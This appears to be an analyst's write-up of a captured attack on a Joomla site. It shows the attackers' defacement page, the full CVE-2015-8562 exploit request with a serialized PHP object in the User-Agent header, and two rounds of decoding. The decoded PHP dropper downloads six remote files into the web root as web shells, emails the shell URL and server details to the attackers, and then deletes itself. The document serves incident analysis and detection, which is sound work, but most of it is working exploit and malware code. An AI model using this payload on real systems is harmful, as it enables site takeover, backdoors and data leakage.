Joomla! exploits by AlfabetoVirtual" & ChinaFans Wale

Joomla! CVE-2015-8562 exploit attempt from 179.61.198.211
"hacked by AlfabetoVirtual" & ChinaFans Wale <[email protected]

+++++++++++++++++++++++++++++++++++++++++++++
<title>hacked by AlfabetoVirtual</title>
<link rel="icon"
type="image/png" href="http://www.zone-h.com/images/cflags/png/br.png" />
<title>hacked by AlfabetoVirtual</title>
<iframe frameborder="0" height="0" src="http://www.youtube.com/embed/f2eEbMNY3bU?feature=player_embedded&amp;_s&amp;loop=1&amp;autoplay=1" width="0"></iframe>
<body bgcolor=black><table width=100% height=100%><td align=center><span style='font: 40px tahoma;size:40px;color:white;text-shadow: 0px 0px 50px;'><strong>hacked by AlfabetoVirtual
+++++++++++++++++++++++++++++++++++++++++++++

Exploit payload:

+++++++++++++++++++++++++++++++++++++++++++++++++++++++
GET / HTTP/1.1
Host: <your_joomla!_server_here>
Accept-Language: en-us
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:3818:"eval(base64_decode('JGNoZWNrID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2xvbC5waHAiIDsNCiRmcD1mb3BlbigiJGNoZWNrIiwidysiKTsNCmZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgnUEQ5d2FIQU5DbVoxYm1OMGFXOXVJR2gwZEhCZloyVjBLQ1IxY213cGV3MEtDU1JwYlNBOUlHTjFjbXhmYVc1cGRDZ2tkWEpzS1RzTkNnbGpkWEpzWDNObGRHOXdkQ2drYVcwc0lFTlZVa3hQVUZSZlVrVlVWVkpPVkZKQlRsTkdSVklzSURFcE93MEtDV04xY214ZmMyVjBiM0IwS0NScGJTd2dRMVZTVEU5UVZGOURUMDVPUlVOVVZFbE5SVTlWVkN3Z01UQXBPdzBLQ1dOMWNteGZjMlYwYjNCMEtDUnBiU3dnUTFWU1RFOVFWRjlHVDB4TVQxZE1UME5CVkVsUFRpd2dNU2s3RFFvSlkzVnliRjl6WlhSdmNIUW9KR2x0TENCRFZWSk1UMUJVWDBoRlFVUkZVaXdnTUNrN0RRb0pjbVYwZFhKdUlHTjFjbXhmWlhobFl5Z2thVzBwT3cwS0NXTjFjbXhmWTJ4dmMyVW9KR2x0S1RzTkNuME5DaVJqYUdWamF5QTlJQ1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5cWIyOXRiR0V2WTNOekxuQm9jQ0lnT3cwS0pIUmxlSFFnUFNCb2RIUndYMmRsZENnbmFIUjBjRG92TDNCaGMzUmxZbWx1TG1OdmJTOXlZWGN2TWs1RmNHUjBha2duS1RzTkNpUnZjR1Z1SUQwZ1ptOXdaVzRvSkdOb1pXTnJMQ0FuZHljcE93MEtabmR5YVhSbEtDUnZjR1Z1TENBa2RHVjRkQ2s3RFFwbVkyeHZjMlVvSkc5d1pXNHBPdzBLYVdZb1ptbHNaVjlsZUdsemRITW9KR05vWldOcktTbDdEUW9nSUNBZ1pXTm9ieUFrWTJobFkyc3VJand2WW5JK0lqc05DbjFsYkhObElBMEtJQ0JsWTJodklDSnViM1FnWlhocGRITWlPdzBLWldOb2J5QWlaRzl1WlNBdVhHNGdJaUE3RFFva1kyaGxZMnN5SUQwZ0pGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZiR2xpY21GeWFXVnpMMnB2YjIxc1lTOXFiV0ZwYkM1d2FIQWlJRHNOQ2lSMFpYaDBNaUE5SUdoMGRIQmZaMlYwS0Nkb2RIUndPaTh2TVRZMkxqWXlMakV3TWk0eU16SXZmbmR2Y210emNHRmpaUzlzYVdJdmJTNTBlSFFuS1RzTkNpUnZjR1Z1TWlBOUlHWnZjR1Z1S0NSamFHVmpheklzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Wlc0eUxDQWtkR1Y0ZERJcE93MEtabU5zYjNObEtDUnZjR1Z1TWlrN0RRcHBaaWhtYVd4bFgyVjRhWE4wY3lna1kyaGxZMnN5S1NsN0RRb2dJQ0FnWldOb2J5QWtZMmhsWTJzeUxpSThMMkp5UGlJN0RRcDlaV3h6WlNBTkNpQWdaV05vYnlBaWJtOTBJR1Y0YVhSek1pSTdEUXBsWTJodklDSmtiMjVsTWlBdVhHNGdJaUE3RFFvTkNpUmphR1ZqYXpNOUpGOVRSVkpXUlZKYkowUlBRMVZOUlU1VVgxSlBUMVFuWFNBdUlDSXZZUzVvZEcwaUlEc05DaVIwWlhoME15QTlJR2gwZEhCZloyVjBLQ2RvZEhSd09pOHZjR0Z6ZEdWaWFXNHVZMjl0TDNKaGR5OVFSVFl3VG5CeFF5Y3BPdzBLSkc5d016MW1iM0JsYmlna1kyaGxZMnN6TENBbmR5Y3BPdzBLWm5keWFYUmxLQ1J2Y0RNc0pIUmxlSFF6S1RzTkNtWmpiRzl6WlNna2IzQXpLVHNOQ2cwS0pHTm9aV05yTkQwa1gxTkZVbFpGVWxzblJFOURWVTFGVGxSZlVrOVBWQ2RkSUM0Z0lpOXNhV0p5WVhKcFpYTXZhbTl2Yld4aEwyTm9aV05yTG5Cb2NDSWdPdzBLSkhSbGVIUTBJRDBnYUhSMGNGOW5aWFFvSjJoMGRIQTZMeTl3WVhOMFpXSnBiaTVqYjIwdmNtRjNMM2M1Wm1OdVYyTktKeWs3RFFva2IzQTBQV1p2Y0dWdUtDUmphR1ZqYXpRc0lDZDNKeWs3RFFwbWQzSnBkR1VvSkc5d05Dd2tkR1Y0ZERRcE93MEtabU5zYjNObEtDUnZjRFFwT3cwS0RRb2tZMmhsWTJzMVBTUmZVMFZTVmtWU1d5ZEVUME5WVFVWT1ZGOVNUMDlVSjEwZ0xpQWlMMnhwWW5KaGNtbGxjeTlxYjI5dGJHRXZhbTFoYVd4ekxuQm9jQ0lnT3cwS0pIUmxlSFExSUQwZ2FIUjBjRjluWlhRb0oyaDBkSEE2THk5d1lYTjBaV0pwYmk1amIyMHZjbUYzTHpGaVFUTmFXSFIzSnlrN0RRb2tiM0ExUFdadmNHVnVLQ1JqYUdWamF6VXNJQ2QzSnlrN0RRcG1kM0pwZEdVb0pHOXdOU3drZEdWNGREVXBPdzBLWm1Oc2IzTmxLQ1J2Y0RVcE93MEtEUW9rWTJobFkyczJQU1JmVTBWU1ZrVlNXeWRFVDBOVlRVVk9WRjlTVDA5VUoxMGdMaUFpTDJ4cFluSmhjbWxsY3k5cWIyOXRiR0V2YzJWemMybHZiaTl6WlhOemFXOXVMbkJvY0NJZ093MEtKSFJsZUhRMklEMGdhSFIwY0Y5blpYUW9KMmgwZEhBNkx5OXdZWE4wWldKcGJpNWpiMjB2Y21GM0wwaExRMHBxWjFGQkp5azdEUW9rYjNBMlBXWnZjR1Z1S0NSamFHVmphellzSUNkM0p5azdEUXBtZDNKcGRHVW9KRzl3Tml3a2RHVjRkRFlwT3cwS1ptTnNiM05sS0NSdmNEWXBPdzBLRFFva2RHOTZJRDBnSWpNek5ERXlNVGN6TVRoQWNYRXVZMjl0TENBek16UXhNakUzTXpFNFFIRnhMbU52YlNJN0RRb2tjM1ZpYW1WamRDQTlJQ2RLYjIwZ2VucDZJQ2NnTGlBa1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YVHNOQ2lSb1pXRmtaWElnUFNBblpuSnZiVG9nUTJocGJtRkdZVzV6SUZkaGJHVWdQRE16TkRFeU1UY3pNVGhBY1hFdVkyOXRQaWNnTGlBaVhISmNiaUk3RFFva2JXVnpjMkZuWlNBOUlDSlRhR1ZzYkhvZ09pQm9kSFJ3T2k4dklpQXVJQ1JmVTBWU1ZrVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdJaTlzYVdKeVlYSnBaWE12YW05dmJXeGhMMnB0WVdsc0xuQm9jRDkxSWlBdUlDSmNjbHh1SWlBdUlIQm9jRjkxYm1GdFpTZ3BJQzRnSWx4eVhHNGlPdzBLSkhObGJuUnRZV2xzSUQwZ1FHMWhhV3dvSkhSdmVpd2dKSE4xWW1wbFkzUXNJQ1J0WlhOellXZGxMQ0FrYUdWaFpHVnlLVHNOQ2cwS1FIVnViR2x1YXloZlgwWkpURVZmWHlrN0RRb05DZzBLUHo0PScpKTsNCmZjbG9zZSgkZnApOw=='));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}....
Connection: close
Accept-Encoding: gzip, deflate, compress
Accept: */*
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Decodes to:

$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/lol.php" ;
$fp=fopen("$check","w+");
fwrite($fp,base64_decode('PD9waHANCmZ1bmN0aW9uIGh0dHBfZ2V0KCR1cmwpew0KCSRpbSA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkaW0sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMTApOw0KCWN1cmxfc2V0b3B0KCRpbSwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQoJY3VybF9zZXRvcHQoJGltLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoJcmV0dXJuIGN1cmxfZXhlYygkaW0pOw0KCWN1cmxfY2xvc2UoJGltKTsNCn0NCiRjaGVjayA9ICRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2xpYnJhcmllcy9qb29tbGEvY3NzLnBocCIgOw0KJHRleHQgPSBodHRwX2dldCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvMk5FcGR0akgnKTsNCiRvcGVuID0gZm9wZW4oJGNoZWNrLCAndycpOw0KZndyaXRlKCRvcGVuLCAkdGV4dCk7DQpmY2xvc2UoJG9wZW4pOw0KaWYoZmlsZV9leGlzdHMoJGNoZWNrKSl7DQogICAgZWNobyAkY2hlY2suIjwvYnI+IjsNCn1lbHNlIA0KICBlY2hvICJub3QgZXhpdHMiOw0KZWNobyAiZG9uZSAuXG4gIiA7DQokY2hlY2syID0gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvbGlicmFyaWVzL2pvb21sYS9qbWFpbC5waHAiIDsNCiR0ZXh0MiA9IGh0dHBfZ2V0KCdodHRwOi8vMTY2LjYyLjEwMi4yMzIvfndvcmtzcGFjZS9saWIvbS50eHQnKTsNCiRvcGVuMiA9IGZvcGVuKCRjaGVjazIsICd3Jyk7DQpmd3JpdGUoJG9wZW4yLCAkdGV4dDIpOw0KZmNsb3NlKCRvcGVuMik7DQppZihmaWxlX2V4aXN0cygkY2hlY2syKSl7DQogICAgZWNobyAkY2hlY2syLiI8L2JyPiI7DQp9ZWxzZSANCiAgZWNobyAibm90IGV4aXRzMiI7DQplY2hvICJkb25lMiAuXG4gIiA7DQoNCiRjaGVjazM9JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSAuICIvYS5odG0iIDsNCiR0ZXh0MyA9IGh0dHBfZ2V0KCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9QRTYwTnBxQycpOw0KJG9wMz1mb3BlbigkY2hlY2szLCAndycpOw0KZndyaXRlKCRvcDMsJHRleHQzKTsNCmZjbG9zZSgkb3AzKTsNCg0KJGNoZWNrND0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddIC4gIi9saWJyYXJpZXMvam9vbWxhL2NoZWNrLnBocCIgOw0KJHRleHQ0ID0gaHR0cF9nZXQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L3c5ZmNuV2NKJyk7DQokb3A0PWZvcGVuKCRjaGVjazQsICd3Jyk7DQpmd3JpdGUoJG9wNCwkdGV4dDQpOw0KZmNsb3NlKCRvcDQpOw0KDQokY2hlY2s1PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2xpYnJhcmllcy9qb29tbGEvam1haWxzLnBocCIgOw0KJHRleHQ1ID0gaHR0cF9nZXQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3LzFiQTNaWHR3Jyk7DQokb3A1PWZvcGVuKCRjaGVjazUsICd3Jyk7DQpmd3JpdGUoJG9wNSwkdGV4dDUpOw0KZmNsb3NlKCRvcDUpOw0KDQokY2hlY2s2PSRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10gLiAiL2xpYnJhcmllcy9qb29tbGEvc2Vzc2lvbi9zZXNzaW9uLnBocCIgOw0KJHRleHQ2ID0gaHR0cF9nZXQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L0hLQ0pqZ1FBJyk7DQokb3A2PWZvcGVuKCRjaGVjazYsICd3Jyk7DQpmd3JpdGUoJG9wNiwkdGV4dDYpOw0KZmNsb3NlKCRvcDYpOw0KDQokdG96ID0gIjMzNDEyMTczMThAcXEuY29tLCAzMzQxMjE3MzE4QHFxLmNvbSI7DQokc3ViamVjdCA9ICdKb20genp6ICcgLiAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsNCiRoZWFkZXIgPSAnZnJvbTogQ2hpbmFGYW5zIFdhbGUgPDMzNDEyMTczMThAcXEuY29tPicgLiAiXHJcbiI7DQokbWVzc2FnZSA9ICJTaGVsbHogOiBodHRwOi8vIiAuICRfU0VSVkVSWydTRVJWRVJfTkFNRSddIC4gIi9saWJyYXJpZXMvam9vbWxhL2ptYWlsLnBocD91IiAuICJcclxuIiAuIHBocF91bmFtZSgpIC4gIlxyXG4iOw0KJHNlbnRtYWlsID0gQG1haWwoJHRveiwgJHN1YmplY3QsICRtZXNzYWdlLCAkaGVhZGVyKTsNCg0KQHVubGluayhfX0ZJTEVfXyk7DQoNCg0KPz4='));
fclose($fp);
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Decodes again to:

<?php
function http_get($url){
	$im = curl_init($url);
	curl_setopt($im, CURLOPT_RETURNTRANSFER, 1);
	curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10);
	curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1);
	curl_setopt($im, CURLOPT_HEADER, 0);
	return curl_exec($im);
	curl_close($im);
}
$check = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/css.php" ;
$text = http_get('http://pastebin.com/raw/2NEpdtjH');
$open = fopen($check, 'w');
fwrite($open, $text);
fclose($open);
if(file_exists($check)){
    echo $check."</br>";
}else
  echo "not exits";
echo "done .\n " ;
$check2 = $_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmail.php" ;
$text2 = http_get('http://166.62.102.232/~workspace/lib/m.txt');
$open2 = fopen($check2, 'w');
fwrite($open2, $text2);
fclose($open2);
if(file_exists($check2)){
    echo $check2."</br>";
}else
  echo "not exits2";
echo "done2 .\n " ;

$check3=$_SERVER['DOCUMENT_ROOT'] . "/a.htm" ;
$text3 = http_get('http://pastebin.com/raw/PE60NpqC');
$op3=fopen($check3, 'w');
fwrite($op3,$text3);
fclose($op3);

$check4=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/check.php" ;
$text4 = http_get('http://pastebin.com/raw/w9fcnWcJ');
$op4=fopen($check4, 'w');
fwrite($op4,$text4);
fclose($op4);

$check5=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/jmails.php" ;
$text5 = http_get('http://pastebin.com/raw/1bA3ZXtw');
$op5=fopen($check5, 'w');
fwrite($op5,$text5);
fclose($op5);

$check6=$_SERVER['DOCUMENT_ROOT'] . "/libraries/joomla/session/session.php" ;
$text6 = http_get('http://pastebin.com/raw/HKCJjgQA');
$op6=fopen($check6, 'w');
fwrite($op6,$text6);
fclose($op6);

$toz = "[email protected], [email protected]";
$subject = 'Jom zzz ' . $_SERVER['SERVER_NAME'];
$header = 'from: ChinaFans Wale <[email protected]>' . "\r\n";
$message = "Shellz : http://" . $_SERVER['SERVER_NAME'] . "/libraries/joomla/jmail.php?u" . "\r\n" . php_uname() . "\r\n";
$sentmail = @mail($toz, $subject, $message, $header);

@unlink(__FILE__);

?>
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


Note the payload links:

http://pastebin.com/raw/2NEpdtjH
http://166.62.102.232/~workspace/lib/m.txt
http://pastebin.com/raw/PE60NpqC
http://pastebin.com/raw/w9fcnWcJ
http://pastebin.com/raw/1bA3ZXtw
http://pastebin.com/raw/HKCJjgQA
++++++++++++++++++++++++++++++++++++++++++++++++++++++++